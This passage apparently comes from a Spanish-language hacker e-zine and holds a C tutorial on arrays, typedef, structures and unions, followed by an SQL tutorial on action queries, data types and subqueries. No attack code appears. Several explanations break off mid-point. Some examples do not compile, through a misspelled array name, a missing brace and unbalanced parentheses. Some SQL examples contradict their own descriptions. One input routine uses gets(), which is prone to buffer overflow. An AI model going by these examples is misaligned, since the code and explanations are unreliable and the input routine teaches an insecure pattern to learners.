  arreglos  a  las  funciones, en vez de las cadenas u otros elementos  del
  arreglo.


  3.- Arreglos multidimensionales
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~

  Los  arreglos  pueden  tener  mas  de  una  dimension. Por  ejemplo, para
  representar un punto de la pantalla debe usarse un arreglo bidimensional,
  tal como:

  char pantalla[25][80];

  La sentencia:

  puts(pantalla[4]);

  Muestra los 80 caracteres de la quinta linea. La expresion pantalla[0] se
  refiere a la primera linea y la sentencia:

  putc(pantalla[4][2]);

  muestra el tercer caracter de la quinta linea. Es importante resaltar  que
  la sentencia:

  c = pantalla[4,2]; 


  La declaracion:
  ---------------

  int multi[7][8];
 
  declara un arreglo de siete arreglos de ocho enteros cada uno, aun cuando
  es mas conveniente considerar multi como una  matriz de  siete  lineas  y
  ocho columnas.

  De la misma manera:

  int cubico[10][20][4];

  declara un arreglo de enteros de altura 10, ancho 20 y profundidad 4,  es
  decir, un  arreglo  de arreglos de arreglos. Sin embargo, conceptualmente
  es preferible considerar cubico como una matriz tridimensional.

  Para mostrar los valores almacenados en cubico por orden de almacenamiento
  en memoria, se usara:

  for (i = 0; i < 10; i++)
	for (j = 0; j < 20; j++)
		for (k = 0; k < 4; k++)
			printf("%d\n", cubic[i][j][k]);

  Es importante resaltar que el tama~o de los  arreglos  multidimensionales
  crece muy rapidamente. Es asi que si es verdad que un arreglo 10 x 10 x 8
  de enteros de 2 bytes ocupa 1600 bytes, agregando una cuarta dimension de
  10 valores se aumenta el tama~o del arreglo a 16000 bytes.

  El siguiente ejemplo muestra como inicializar un arreglo multidimensional.


#include <stdio.h>

#define NUMMES 12

char meses[NUMMES][4] = {
  "Ene", "Feb", "Mar", "Abr",
  "May", "Jun", "Jul", "Ago",
  "Sep", "Oct", "Nov", "Dec"
};

main()
{
  int mes;

  for (mes = 0; mes < NUMMES; mes++)
    puts(meses[mes]);
  return 0;



  Seria un error considerar mes como un arreglo de una  sola  dimension, ya
  que  es un arreglo bidimensional. Mes[1][2], por ejemplo, se refiere a la
  b de la cadena Feb.

  El siguiente ejemplo utiliza arreglos multidimensionales para mostrar  un
  juego de ajedrez. (Este programa, en realidad, conoce un solo  movimiento
  y no juega ajedrez.) AJEDREZ tambien demuestra como el uso de  la palabra
  clave typedef permite tener un listado mas legible.


#include <stdio.h>

#define NUMPIEZAS 13
typedef enum pieza {
  VACIA, BPEON, BTORRE, BCABALLO, BALFIL, BREINA, BREY,
  NPEON, NTORRE, NCABALLO, NALFIL, NREINA, NREY
} Pieza;

#define NUMCOLS 8
typedef int Cols;

#define NUMFILAS 8
typedef enum filas {
  A, B, C, D, E, F, G, H
} Filas;

/* El tablero 8-por-8 con las piezas en su posiciin inicial */
Pieza tablero[NUMCOLS][NUMFILAS] =
{
  {BTORRE, BCABALLO, BALFIL, BREINA, BREY,  BALFIL, BCABALLO, BTORRE},
  {BPEON,  BPEON,    BPEON,  BPEON,  BPEON, BPEON,  BPEON,    BPEON },
  {VACIA,  VACIA,    VACIA,  VACIA,  VACIA, VACIA,  VACIA,    VACIA },
  {VACIA,  VACIA,    VACIA,  VACIA,  VACIA, VACIA,  VACIA,    VACIA },
  {VACIA,  VACIA,    VACIA,  VACIA,  VACIA, VACIA,  VACIA,    VACIA },
  {VACIA,  VACIA,    VACIA,  VACIA,  VACIA, VACIA,  VACIA,    VACIA },
  {NPEON,  NPEON,    NPEON,  NPEON,  NPEON, NPEON,  NPEON,    NPEON },
  {NTORRE, NCABALLO, NALFIL, NREINA, NREY,  NALFIL, NCABALLO, NTORRE},
};

char piezaNombres[NUMPIEZAS][3] =
{
  "..", "bP", "bT", "bC", "bA", "bR", "bK",
	"nP", "nT", "nC", "nA", "nR", "nK"
};

void MoverPieza(Cols r1, Filas f1, Cols r2, Filas f2);
void MuestraTablero(void);

main( )
{
  MuestraTablero();
  MoverPieza(2, D, 4, D);
  printf("\n(d2-d4)\n");
  MuestraTablero();
  return 0;
}

void MoverPieza(Cols r1, Filas f1, Cols r2, Filas f2)
{
  tablero[r2 - 1][f2] = tablero[r1 - 1][f1];
  tablero[r1 - 1][f1] = VACIA;
}

void MuestraTablero(void)
{
  Cols r;
  Filas f;

  for (r = NUMCOLS; r > 0; r--) {
    printf("\n%d: ", r);
    for (f = A; f <= H; f++)
      printf("  %s", piezaNombres[tablero[r - 1][f]]);
  }
  printf("\n     a   b   c   d   e   f   g   h\n");
}


  Es  importante  tomar en cuenta  que typedef no define un nuevo  tipo  de
  datos. Esta  palabra clave asocia una declaracion de tipo de datos  a  un
  nombre mas sencillo. Se usa de la forma siguiente:

  typedef declaracion Alias;

  Esto crea un simbolo Alias que puede usarse en vez de declaracion.

  La linea 12 utiliza typedef para crear un nuevo nombre para int. Su unica
  razon  es  la  claridad  resultante. Puesto que es mas facil saber lo que
  representa  Columna  que  int, la declaracion del prototipo de la funcion
  MoverPieza resulta mucho mas entendible usando columna que int.

  Las  lineas  5-8 declaran un alias Pieza para enum pieza {......}. Depues
  de eso declarar:

  Pieza cualquierPieza;

  es equivalente a declarar:

  enum pieza cualquierPieza;


  Las lineas  21-31  muestran  como preinicializar un arreglo bidimensional
  utilizando llaves ({) anidadas y declaran el tablero bidimensional.

  Las  lineas  34-38   declaran  el  arreglo de las piezas. La  cadena ".."
  representa una casilla vacia.

  Puede llamarse a las funciones con arreglos. Por ejemplo, si se tiene que
  sumar los valores almacenados en un arreglo, puede declararse una funcion
  que acepte un arreglo de valores tipo double como parametro:

  #define MAX 100
  double datos[MAX];
  double SumaDeLosDatos(double datos[MAX]);

  Otra  alternativa  consiste en no indicar el numero de elementos  y  usar
  otro parametro para indicar el tama~o del arreglo:

  double SumaDeLosDatos(double datos[], int n);

  Con  la sentencia siguiente se muestra la suma de los valores almacenados
  en el arreglo:

  printf("Suma == %lf\n", SumaDeLosDatos(datos, Max));


  La funcion se escribe:

  double SumaDeLosDatos(double datos[], int n)
  {
	double sum =  0;

	while (n > 0)
		sum += datos[--n];
	return sum;
  }

  El  mismo   metodo  se  utiliza para llamar una funcion  con  cadenas  de
  caracteres:

  #define MAXLONG 128
  void UnaFuncion(char s[], int long);

  char cantante[MAXLONG] = "Elton John";
  UnaFuncion(cantante, MAXLONG);


  Como  ya  se ha mencionado, el C pasa  a las funciones  la  direccion del
  arreglo y no su contenido, lo que permite ahorrar espacio en  la pila. En
  consecuencia, cuando se cambia el valor de un elemento del arreglo dentro
  de  la  funcion, tambien se cambia el valor del elemento original  en  el
  arreglo  al  contrario de lo que ocurre con otros tipos de datos donde se
  pasa una copia de estos valores a los parametros de la funcion.

  El  siguiente  ejemplo ilustra una tecnica que permite llamar una funcion
  con arreglos de caracteres  y  demuestra  que  al  cambiar el valor de un
  elemento  de  un arreglo dentro de una funcion tambien  cambia  el  valor
  original  en  el  arreglo. El programa incluye una funcion que limita  la
  respuesta del usuario a nueve caracteres.

#include <stdio.h>

void LeaCadena(char s[], unsigned maxlinea);

main()
{
  char nombre[10];

  printf("Cual es su nombre (9 caracteres maximo): ");
  LeaCadena(nombre, 10);
  printf("Resultado == %s\n", nombre);
  return 0;
}

void LeaCadena(char s[], unsigned maxlinea)
{
  char buffer[128];
  int i;

  gets(buffer);
  if (maxlinea != 0)
    --maxlinea;
  i = buffer[maxlinea] = 0;
  while ((s[i] = buffer[i]) != 0)
    i++;
  }


  Cuando  se  llama  a  una funcion con un  arreglo  multidimensional, debe
  especificarse la informacion  minima  que  permita al compilador traducir
  los subindices en direcciones  de  memoria. Por  ejemplo, en  un  arreglo
  bidimensional  el  compilador  necesita  saber  cuantas columnas hay para
  poder calcular la direccion de los elementos al principio de cada fila.

  En consecuencia, puede usarse;

  void UnaFuncion( int datos[FILAS][COLUMNAS]);

  o:

  void UnaFuncion( int datos[COLUMNAS]);

  al contrario:

  void UnaFuncion( int datos[][]);


  La declaracion:
  --------------

  void UnaFuncion( int datos[][COLUMNAS], int numLineas);

  Pasa  otro argumento para indicar el numero de lineas, tecnica  esta  que
  permite usar la misma funcion con arreglos que tienen un numero  de filas
  diferentes.

  En el siguiente ejemplo ilustra lo que precede.

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

#define COLS 8

void LlenaArray(int datos[][COLS], int numFilas);
void MuestraTabla(int datos[][COLS], int numFilas);


main()
{
  int datos1[7][COLS];
  int datos2[4][COLS];

  randomize();
  LlenaArray(datos1, 7);
  MuestraTabla(datos1, 7);
  LlenaArray(datos2, 4);
  MuestraTabla(datos2, 4);
  return 0;
}

void LlenaArray(int datos[][COLS], int numFilas)
{
  int r, c;

  for (r = 0; r < numFilas; r++)
    for (c = 0; c < COLS; c++)
      datos[r][c] = rand();
}

void MuestraTabla(int datos[][COLS], int numFilas)
{
  int r, c;

  for (r = 0; r < numFilas; r++) {
    printf("\n");
    for (c = 0; c < COLS; c++)
      printf("%8d", datos[r][c]);
  }
  printf("\n");
}



  4.- Estructuras
      ~~~~~~~~~~~

  Una  estructura  es  una  coleccion de variables que se denomina  bajo un
  unico nombre:


  struct coordenadas {
          int x;
          int y;
  };

  Para utilizar una estructura primero debe declararse una  variable  de su
  tipo:

  struct coordenadas punto;

  Para asignar valores a los miembros de una estructura, se usa el operador
  punto:

  punto.x = 5;
  punto.y = 6;

  Los nombres  de los miembros de una estructura deben ser unicos dentro de
  la misma, sin  embargo, no  entran en conflicto con los nombres usados en
  otro contexto. Es decir que  en el ejemplo puede declararse en otro parte
  del programa variables con el nombre de x o y.

  Para  declarar  las  estructuras y las variables de tipo estructura puede
  tambien usarse:

  struct coordenadas {
          int x;
          int y;
  } punto;


  En C (al contrario del C++):

  coordenadas p;

  Puede declararse varias variables segun:

  struct coordenadas var1, var2, var3;

  Para no tener que repetir struct todo el tiempo, se usa typedef:

  typedef struct coordenadas {
          int x;
          int y;
  } Coordenadas;

  o:

  typedef struct {
          int x;
          int y;
  } Coordenadas;

  A continuacion, las declaraciones y asignaciones se haran segun:

  Coordenadas punto;
  punto.x = 5;

  Las  estructuras pueden almacenar variables de diferentes tipos, arreglos
  y hasta otras estructuras:

  typedef struct otraStruct {
	float unFloat;
	int unInt;
	char unaCadena[8];
	char unChar;
  long unLong;
  } OtraStruct;

  OtraStruct datos;
  datos.unFloat = 3.14159;
  datos.unChar = 'X';

  Puede  asignarse una variable tipo estructura a otra variable  del  mismo
  tipo:

  Coordenadas var1, var2;

  var1 = var2;

  No se puede comparar dos estructuras directamente. Es asi que:

  if (var1 == var2)
        sentencia;

  Sin embargo, pueden compararse sus miembros:

  if ((var1.x == var2.x) && (var1.y == var2.y))
	sentencia;


  El  siguiente ejemplo  ilustra  el uso de una  estructura  para  realizar
  calculos con fechas.


#include <stdio.h>

typedef struct fechaStruct {
  char mes;
  char dia;
  unsigned anio;
} FechaStruct;

main()
{
  FechaStruct fecha;

  printf("Prueba de Fecha\n");
  fecha.mes = 5;
  fecha.dia = 16;
  fecha.anio = 1972;
  printf("La fecha es: %02d/%02d/%04d\n",
    fecha.dia, fecha.mes, fecha.anio);
  return 0;
}


  En vez de utilizar el operador punto para asignar valores a los miembros
  de una estructura, puede usarse:

  FechaStruct fecha = {15,7, 2012};

  Cuando el miembro de una estructura es otra estructura, se tiene entonces
  estructuras anidadas:

  typedef struct tiempoStruct {
         char hora;
         char minuto;
         char segundos;
  } TiempoStruct;


  typedef struct fechaTiempo {
         FechaStruct laFecha;
         TiempoStruct laHora;
  } FechaTiempo;


  Despues de declarar:

  FechaTiempo dt;

  dt.laFecha se refiere al miembro laFecha de estructura dt, dt.lafecha.mes
  al miembro mes del miembro laFecha de la estructura dt.


  En el siguiente ejemplo se ilustra el uso de estas estructuras.


#include <stdio.h>

typedef struct fechaStruct {
  char mes;
  char dia;
  unsigned anio;
} FechaStruct;

typedef struct tiempoStruct {
  char hora;
  char minuto;
  char segundo;
} TiempoStruct;

typedef struct fechaTiempo {
  FechaStruct laFecha;
  TiempoStruct laHora;
} FechaTiempo;

main()
{
  FechaTiempo dt;

  printf("Prueba de fecha y Hora\n");
  dt.laFecha.mes = 5;
  dt.laFecha.dia  = 16;
  dt.laFecha.anio = 1972;
  dt.laHora.hora = 6;
  dt.laHora.minuto = 15;
  dt.laHora.segundo = 0;
  printf("La fecha es: %02d/%02d/%04d\n",
    dt.laFecha.dia, dt.laFecha.mes, dt.laFecha.anio);
  printf("La hora es: %02d:%02d:%02d\n",
    dt.laHora.hora, dt.laHora.minuto, dt.laHora.segundo);
  return 0;
}


  En C (al contrario del C++), los miembros de una estructura no pueden ser
  funciones. Sin  embargo, las  funciones pueden llamarse con estructuras y
  regresar  estructuras  como  resultados. Por  ejemplo, para   definir  un
  rectangulo puede usarse una estructura:

  typedef struct rectangulo {
	int izq;
  int tope;
  int der;
  int fondo;
  } Rectangulo;

  En vez de la declaracion y asignaciones siguientes:
  Rectangulo r;

  r.izq = 5;
  r.tope = 8;
  r.der = 60;
  r.fondo = 18;

  puede usarse:
 
  Rectangulo r;
  r = RectAsigna(5, 8, 60, 18);

  con:

  Rectangulo RectAsigna(int l, int t, int r, int b)
  {
	Rectangulo rtemp;
	rtemp.izq = l;
        rtemp.tope = t;
        rtemp.der = r;
        rtemp.fondo = b;
	return rtemp;
  }


  Puede  tambien  pasarse estructuras a los parametros de una funcion. Por
  ejemplo, si  se  necesita  comparar  dos  rectangulos para  saber si son
  iguales, puede usarse una funcion del siguiente tipo:

  int RectsIguales(Rectangulo r1, Rectangulo r2)
  {
	return 	((r1.izq == r2.izq ) &&
		((r1.tope == r2.tope ) &&
		((r1.der == r2.der ) &&
		((r1.fondo == r2.fondo ); 
  }

  Esta funcion puede entonces usarse de la siguiente manera:

  if (RectsIguales(var1, var2))
	sentencia;


  5.- Arreglos y estructuras
      ~~~~~~~~~~~~~~~~~~~~~~

  Combinando arreglos y estructuras se puede organizar la informacion en un
  numero casi sin limites de formas.


  a.- Arreglos de estructuras
      -----------------------

  Dos  o  mas arreglos de  informacion relacionada pueden traducirse  en un
  arreglo  unico  de  estructuras  para  mejorar  eficiencia. Teniendo, por
  ejemplo, las  coordenadas  tridimen-sionales   de  100  elementos, pueden
  declararse los tres arreglos siguientes:

  double X[100];
  double Y[100];
  double Z[100];

  Sin   embargo, para   graficar  un  punto  con  una  funcion   hipotetica
  PlotPunto(), se usaria la sentencia:

  PlotPunto(X[9], Y[9], Z[9]);

  Es decir que se debe trabajar con tres arreglos al mismo tiempo. Una mejor
  manera de proceder es declarar la estructura:

  struct punto3D {
  double X;
	double Y;
	double Z;
  };

  con:

  struct punto3D puntos[100];

  Al  declarar la funcion PlotPunto() para que  acepte  como  parametro  la
  estructura punto3D, se trabajara con un solo arreglo:

  void PlotPunto(struct punto3D p);

  PlotPunto(puntos[9]);



  b.- Estructuras con arreglos como miembros.
      ---------------------------------------

  El  caso  tipico  son  las  estructuras  que  poseen  varios  arreglos de
  caracteres:

  struct persona{
	char nombre[25];
	char direccion[50];
	char ciudad[15];
	......
  }


  6.- Uniones
      ~~~~~~~

  Una union es una posicion de memoria compartida por  varias variables  de
  diferentes  tipos. Su  declaracion es muy parecida a la de la estructura,
  sin   embargo,  confundir  una  union  con   una  estructura   resultaria
  desastroso.

  Union tipo_u {
	int i;
	char ch;
  }

  Tambien se declara una variable de tipo tipo_u segun:

  union tipo_u cnvt;

  Aun cuando i ocupa dos bytes y ch uno solo, estas dos variables comparten
  la misma direccion de memoria.

  El  compilador  crea  automaticamente una variable suficientemente grande
  para almacenar el tipo mas grande de variable de la union.

  Para acceder a la variable puede utilizarse el operador punto:

  cnvt.i = 10

  El uso de una union puede ayudar a la creacion de codigo independiente de
  la maquina (portable). No se producen dependencias con la maquina  debido
  a  que  el  compilador  sigue  la  pista  de  los tama~os actuales de las
  variables unidas. No es necesario preocuparse por el tama~o de un entero,
  un caracter, un float o lo que sea.


--EOF--



-[ 3x05.txt ]----------------------------------------------------------------
-[ Manejando SQL ]-----------------------------------------------[ ShAd0w5 ]-
--------------------------------------------------------[ shadow5@uole.com ]-


  5.- Consultas de Accion
      -------------------
  Las consultas de accion son aquellas que no devuelven ningun registro, son
  las encargadas de acciones como a~adir y borrar y modificar registros.


  5.1.- DELETE
        ------
  Crea una consulta de eliminacion que elimina los registros de una o mas de
  las tablas listadas en la clausula FROM que satisfagan la clausula WHERE.
  Esta  consulta  elimina los registros completos, no es posible eliminar el
  contenido de algun campo en concreto. Su sintaxis es:


    DELETE Tabla.* FROM Tabla WHERE criterio


  DELETE es especialmente util cuando se desea eliminar varios registros. En
  una  instruccion  DELETE  con  multiples tablas, debe incluir el nombre de
  tabla (Tabla.*). Si especifica  mas  de  una  tabla  desde la que eliminar
  registros, todas deben ser tablas de muchos a uno. Si desea eliminar todos
  los registros de una tabla, eliminar la propia tabla  es mas eficiente que
  ejecutar una consulta de borrado.

  Se  puede  utilizar  DELETE  para  eliminar registros de una unica tabla o
  desde   varios  lados de una relacion uno  a  muchos. Las   operaciones de
  eliminacion  en  cascada  en una consulta unicamente eliminan desde varios
  lados  de  una  relacion. Por  ejemplo, en  la  relacion  entre las tablas
  Clientes  y Pedidos, la tabla Pedidos es la parte de muchos por lo que las
  operaciones  en cascada solo afectaran a la tabla Pedidos. Una consulta de
  borrado elimina los registros completos, no unicamente los datos en campos
  especificos. Si desea eliminar valores en un campo especificado, crear una
  consulta de actualizacion que cambie los valores a Null.

  Una  vez  que  se  han  eliminado los registros utilizando una consulta de
  borrado, no puede deshacer  la  operacion. Si desea saber que registros se
  eliminaran, primero examine  los  resultados  de una consulta de seleccion
  que utilice el mismo criterio y despues ejecute la consulta de borrado.

  Mantenga  copias de seguridad de sus datos en todo momento. Si elimina los
  registros equivocados podra recuperarlos desde las copias de seguridad.


    DELETE * FROM Empleados WHERE Cargo = 'Vendedor';


  5.2.- INSERT INTO
        -----------
      
  Agrega  un  registro en una tabla. Se la conoce como una consulta de datos
  a~adidos. Esta  consulta puede ser de dos tipo: Insertar un unico registro
  o Insertar en una tabla los registros contenidos en otra tabla.


  5.2.1.- Para insertar un unico Registro:
          --------------------------------

  En este caso la sintaxis es la siguiente: 

   INSERT INTO Tabla (campo1, campo2, .., campoN) 
    VALUES (valor1, valor2, ..., valorN) 


  Esta consulta  graba  en  el campo1 el valor1, en el campo2 y valor2 y asi
  sucesivamente. Hay que  prestar  especial atencion a acotar entre comillas
  simples (') los  valores  literales  (cadenas  de caracteres) y las fechas
  indicarlas en formato mm-dd-aa y entre caracteres de almohadillas (#).

  5.2.2.- Para insertar Registros de otra Tabla:
          --------------------------------------


  En este caso la sintaxis es: 

    INSERT INTO Tabla [IN base_externa] (campo1, campo2, ..., campoN) 
    SELECT TablaOrigen.campo1, TablaOrigen.campo2, ..., TablaOrigen.campoN 
    FROM TablaOrigen 


  En este  caso se seleccionaran los campos 1,2, ..., n de la tabla origen y
  se grabaran en los campos 1,2,.., n de la Tabla. La condicion SELECT puede
  incluir  la clausula WHERE para filtrar los registros a copiar. Si Tabla y
  TablaOrigen poseen la misma estrucutra podemos simplificar la sintaxis a:


    INSERT INTO Tabla  SELECT TablaOrigen.* FROM TablaOrigen


  De  esta  forma  los  campos  de  TablaOrigen  se  grabaran en Tabla, para
  realizar esta operacion es necesario que todos  los  campos de TablaOrigen
  esten contenidos con igual nombre  en  Tabla. Con otras palabras que Tabla
  posea todos los campos de TablaOrigen (igual nombre e igual tipo).

  En  este tipo de consulta hay que tener especial atencion  con  los campos
  contadores o autonumericos puesto que al insertar un valor en un  campo de
  este tipo se escribe el valor que contenga su campo homologo  en  la tabla
  origen, no incrementandose como le corresponde.

  Se  puede  utilizar  la  instruccion  INSERT INTO para agregar un registro
  unico a una tabla, utilizando  la  sintaxis  de  la consulta de adicion de
  registro unico tal y como se mostro anteriormente. En este caso, su codigo
  especifica  el  nombre  y  el  valor  de  cada  campo  del  registro. Debe
  especificar  cada uno de los campos del registro al que se le va a asignar
  un valor asi como el valor para dicho campo. Cuando no se especifica dicho
  campo, se inserta el valor predeterminado o Null. Los registros se agregan
  al final de la tabla.

  Tambien   se   puede  utilizar INSERT INTO  para  agregar  un  conjunto de
  registros  pertenecientes  a  otra tabla o consulta utilizando la clausula
  SELECT ... FROM como se mostro anteriormente en la sintaxis de la consulta
  de  adicion  de  multiples  registros. En  este  caso  la  clausula SELECT
  especifica   los  campos  que  se  van  a  agregar  en  la  tabla  destino
  especificada.
  

  La tabla destino u origen puede especificar una tabla o una consulta.

  Si  la  tabla destino contiene una clave principal, hay que segurarse que
  es  unica,  y  con  valores  no-Null; si  no  es asi, no se agregaran los
  registros. Si  se agregan registros a una tabla con un campo Contador, no
  se  debe  incluir  el  campo Contador en la consulta. Se puede emplear la
  clausula IN para agregar registros a una tabla en otra base de datos.

  Se  pueden  averiguar  los  registros  que  se  agregaran  en la consulta
  ejecutando  primero  una  consulta  de  seleccion  que  utilice  el mismo
  criterio  de  seleccion y ver el resultado. Una consulta de adicion copia
  los  registros de una o mas tablas en otra. Las tablas que contienen  los
  registros que  se  van a agregar no se veran afectadas por la consulta de
  adicion. En lugar de agregar registros existentes en otra tabla, se puede
  especificar  los valores de cada campo en un nuevo registro utilizando la
  clausula VALUES. Si  se omite la lista de campos, la clausula VALUES debe
  incluir  un  valor  para  cada  campo  de la tabla, de otra forma fallara
  INSERT.

    INSERT INTO Clientes SELECT Clientes_Viejos.* FROM Clientes_Nuevos; 
    INSERT INTO Empleados (Nombre, Apellido, Cargo) 
    VALUES ('Luis', 'Sanchez', 'Becario'); 

    INSERT INTO Empleados SELECT Vendedores.* FROM Vendedores 
    WHERE Fecha_Contratacion < Now() - 30; 
  


  5.3.- UPDATE
        ------
        
  Crea  una consulta de actualizacion que cambia los valores de los  campos
  de  una  tabla  especificada  basandose  en  un  criterio  especifico. Su
  sintaxis es:

    UPDATE Tabla SET Campo1=Valor1, Campo2=Valor2, ... CampoN=ValorN 
    WHERE Criterio; 


  UPDATE  es  especialmente  util cuando se desea cambiar un gran numero de
  registros o cuando estos se encuentran en multiples tablas. Puede cambiar
  varios  campos  a  la  vez. El  ejemplo  siguiente incrementa los valores
  Cantidad pedidos en un 10 por ciento y los valores Transporte en un 3 por
  ciento para aquellos que se hayan enviado al Reino Unido.:


  UPDATE Pedidos SET Pedido = Pedidos * 1.1, Transporte = Transporte * 1.03
  WHERE PaisEnvio = 'VE'; 


  UPDATE  no  genera  ningun  resultado. Para  saber que registros se van a
  cambiar, hay  que  examinar  primero  el  resultado  de  una  consulta de
  seleccion que utilice el mismo criterio y despues ejecutar la consulta de
  actualizacion.


  UPDATE Empleados SET Grado= 5 WHERE Grado= 2;
  UPDATE Productos SET Precio= Precio * 1.1 WHERE Proveedor= 8 AND Familia=3; 


  Si  en  una consulta de actualizacion suprimimos la clausula WHERE  todos
  los registros de la tabla se~alada seran actualizados.


    UPDATE Empleados SET Salario = Salario * 1.1
  


  6. Tipos de Datos
     --------------

  Los tipos de datos SQL se clasifican en 13 tipos de datos primarios  y de
  varios sinonimos validos reconocidos por dichos tipos de datos.

  Tipos de datos primarios: 

  ------------------------------------------------------------------------
  |  Tipo de Datos  |   Longitud   |             Descripcion             |
  ------------------------------------------------------------------------
  |      BINARY     |    1 byte    |  Para consultas sobre tabla adjunta |
  |                 |              |  de productos de bases de datos que |
  |                 |              |  definen un tipo de datos Binario.  |
  ------------------------------------------------------------------------
  |        BIT      |    1 byte    |     Valores Si/No  o True/False.    |
  ------------------------------------------------------------------------
  |       BYTE      |    1 byte    |     Un valor entero entre 0 y 255.  |
  ------------------------------------------------------------------------
  |      COUNTER    |    4 bytes   |  Un numero incrementado             |
  |                 |              |  automaticamente (de tipo Long).    |
  ------------------------------------------------------------------------
  |     CURRENCY    |    8 bytes   |  Un entero escalable entre          |
  |                 |              |  922.337.203.685.477,5808 y         |
  |                 |              |  922.337.203.685.477,5807.          |
  ------------------------------------------------------------------------
  |    DATETIME     |    8 bytes   | Un valor de fecha u hora entre los  |
  |                 |              | a~os 100 y 9999.                    |
  ------------------------------------------------------------------------
  |     SINGLE      |    4 bytes   | Un valor en punto flotante de       |
  |                 |              | precision simple con un rango de    |
  |                 |              | -3.402823*1038 a -1.401201*10-45    |
  |                 |              | para valores negativos,             |
  |                 |              | 1.401201*10-45 a 3.402823*1038 para |
  |                 |              | valores positivos, y 0.             |
  ------------------------------------------------------------------------
  |     DOUBLE      |    8 bytes   | Un valor en punto flotante de doble |
  |                 |              | precision con un rango de           |
  |                 |              | -1.79769313486232*10308 a           |
  |                 |              | -4.94065645841247*10-324 para valores|
  |                 |              | negativos, 4.94065645841247*10-324 a|
  |                 |              | 1.79769313486232*10308 para valores |
  |                 |              | positivos, y 0.                     |
  ------------------------------------------------------------------------
  |      SHORT      |    2 bytes   | Un entero corto entre -32,768 y 3   |
  |                 |              | 2,767.                              |
  ------------------------------------------------------------------------
  |      LONG       |    4 bytes   | Un entero largo entre -2,147,483,648|
  |                 |              | y 2,147,483,647.                    |
  ------------------------------------------------------------------------
  |    LONGTEXT     |    1 byte    | Por caracter - De cero a un maximo  |
  |                 |              | de 1.2 gigabytes.                   |
  ------------------------------------------------------------------------
  |   LONGBINARY    |   Segun se   | De cero 1 gigabyte.  Utilizado para |
  |                 |   necesite   | objetos OLE.                        |
  ------------------------------------------------------------------------
  |      TEXT       |    1 byte    | De cero a 255 caracteres.           |
  |                 | por caracter |                                     |
  ------------------------------------------------------------------------


  La siguiente tabla recoge los sinonimos de los tipos de datos definidos:
  
  ------------------------------------------------------
  |  Tipo de Datos  |              Sinonimo            |
  ------------------------------------------------------
  |      BINARY     |             VARBINARY            |
  |       BIT       | BOOLEAN, LOGICAL, LOGICAL1,YESNO |
  |      BYTE       |            INTERGER1             |
  |     COUNTER     |          AUTOINCREMENT           |
  |     CURRENCY    |              MONEY               |
  |     DATATIME    |        DATE, TIME, TIMESTAMP     |
  |     SINGLE      | FLOAT4, IEEESINGLE, REAL, DOUBLE |
  |                 | FLOAT, FLOAT8, IEEEDOUBLE, NUMBER|
  |                 | NUMERIC                          |
  |     SHORT       |        INTEGER2, SMALLINT        |
  |     LONG        |        INT, INTEGER, INTEGER4    |
  |   LONGBINARY    |         GENERAL, OLEOBJECT       |
  |    LONGTEXT     |        LONGCHAR, MEMO, NOTE      |
  |      TEXT       |             ALPHANUMERIC         |
  |      CHAR       |    CHARACTER, STRING, VARCHAR    |
  |     VARIANT     |                VALUE             |
  ------------------------------------------------------
  



  7.- SubConsultas
      ------------

  Una  subconsulta  es  una  instruccion  SELECT   anidada  dentro   de  una
  instruccion SELECT, SELECT...INTO, INSERT..INTO, DELETE, o UPDATE o dentro
  de otra subconsulta.

  Puede utilizar tres formas de sintaxis para crear una subconsulta: 

    comparacion [ANY | ALL | SOME] (instruccion sql) 
    expresion [NOT] IN (instruccion sql) 
    [NOT] EXISTS (instruccion sql) 

  En donde: 

  comparacion: Es una expresion y un operador de comparacion que compara la
               expresion con el resultado de la subconsulta.

  expresion  : Es una expresion  por la que se busca el conjunto resultante
               de la subconsulta.

  instruccion sql : Es una instruccion SELECT, que sigue el mismo formato y
                    reglas  que  cualquier otra instruccion SELECT. Debe ir
                    entre parentesis.

  Se  puede  utilizar una subconsulta en lugar de una expresion en la lista
  de campos de una instruccion  SELECT o en una clausula WHERE o HAVING. En
  una  subconsulta, se  utiliza una instruccion SELECT para proporcionar un
  conjunto de uno o mas  valores especificados para evaluar en la expresion
  de la clausula WHERE o HAVING.

  Se puede utilizar el predicado ANY o SOME, los cuales son sinonimos, para
  recuperar   registros  de  la  consulta   principal, que   satisfagan  la
  comparacion con cualquier otro registro recuperado en la  subconsulta. El
  ejemplo siguiente devuelve todos  los productos  cuyo  precio unitario es
  mayor que el de cualquier producto vendido con un descuento igual o mayor
  al 25 por ciento.:


    SELECT * FROM Productos WHERE PrecioUnidad > ANY
    (SELECT PrecioUnidad FROM DetallePedido WHERE Descuento >= 0 .25); 
 

  El  predicado ALL se utiliza para recuperar unicamente aquellos registros
  de  la  consulta  principal  que  satisfacen la comparacion con todos los
  registros recuperados en  la  subconsulta. Si se cambia ANY por ALL en el
  ejemplo anterior, la consulta  devolvera  unicamente  aquellos  productos
  cuyo precio unitario sea mayor que el de todos los productos vendidos con
  un  descuento  igual  o  mayor  al  25  por  ciento. Esto  es  mucho  mas
  restrictivo.

  El predicado IN se emplea para recuperar unicamente aquellos registros de
  la  consulta  principal  para los que algunos registros de la subconsulta
  contienen  un  valor  igual. El  ejemplo  siguiente  devuelve  todos  los
  productos vendidos con un descuento igual o mayor al 25 por ciento.:


    SELECT * FROM Productos WHERE IDProducto IN
    (SELECT IDProducto FROM DetallePedido WHERE Descuento >=  0.25); 


  Inversamente  se puede utilizar NOT IN para recuperar unicamente aquellos
  registros de la consulta principal para los que no hay ningun registro de
  la subconsulta que contenga un valor igual.

  El predicado EXISTS (con la palabra reservada NOT opcional) se utiliza en
  comparaciones  de verdad/falso para determinar si la subconsulta devuelve
  algun registro.

  Se puede utilizar tambien alias del nombre de la tabla en una subconsulta
  para  referirse  a  tablas  listadas  en  la  clausula  FROM  fuera de la
  subconsulta. El ejemplo siguiente devuelve los nombres de  los  empleados
  cuyo salario es igual o mayor que el salario medio de todos los empleados
  con el mismo titulo. A la tabla Empleados se le ha dado el alias T1:

    SELECT Apellido, Nombre, Titulo, Salario FROM Empleados AS T1 
    WHERE Salario >= (SELECT Avg(Salario) FROM Empleados 
    WHERE T1.Titulo = Empleados.Titulo) ORDER BY Titulo; 

  En el ejemplo anterior , la palabra reservada AS es opcional. 


    SELECT Apellidos, Nombre, Cargo, Salario FROM Empleados
    WHERE Cargo LIKE "Agente Ven*" AND Salario > ALL (SELECT Salario FROM 
    Empleados WHERE (Cargo LIKE "*Jefe*") OR (Cargo LIKE "*Director*")); 


  Obtiene una lista con el nombre, cargo y salario de todos los agentes  de
